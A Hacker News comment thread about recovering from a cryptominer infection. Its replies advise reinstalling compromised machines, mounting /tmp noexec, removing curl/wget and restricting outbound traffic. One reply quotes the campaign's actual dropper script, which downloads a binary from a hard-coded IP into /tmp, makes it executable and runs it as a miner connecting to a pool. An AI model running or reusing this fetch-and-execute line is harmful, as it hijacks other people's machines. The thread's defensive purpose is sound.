Hacker News Reader

Comment by Shank | Hacker News Reader

I see a lot of people here in the comments saying things like "well it was just a cryptominer". You absolutely cannot trust these machines even after you have removed the obvious cryptominer. Assume the attackers took everything they could, any authentication tokens, or anything else. You should not even trust these computers again. Erase the disk and install a new OS. It is not sufficient to just remove a running script.

View on HN

This applies to any kind of malware. As son as a machine is compromised you should reinstall and not trust that you removed everything. There's so much stuff happening on a computer that a malware can hide everywhere

I don't see anyone recommending measures to mitigate these attacks either.

The first stage is to exploit a vulnerability, and usually the second one download remote files with curl or wget to /tmp,/var/tmp,/dev/shm + execution. For example in this campaign in particular:

    #!/bin/sh

    if ps -eo comm= | grep -qx 'x12345'; then
        exit 0
    fi

    cd /tmp; (wget http://217.60.194.116/x -O- || curl http://217.60.194.116/x -o-) > x12345; chmod 777 x12345; ./x12345 --donate-level 5 -o ota.proxystream.st:3333 --rig-id plexdocker

if you don't need curl/wget, just uninstall them, also from the docker container/image.

mount /tmp with noexec option, or remove exec permissions.

you can also use tools to restrict outbound connections by binary/ip/host/port such as OpenSnitch. Blocking mining pools addresses would also help in these attacks.

decloaker, chkrootkit, unhide... can help to analyze an infected system.

[0] https://github.com/gustavo-iniguez-goya/decloaker

[1] https://chkrootkit.org

Reply on news.ycombinator.com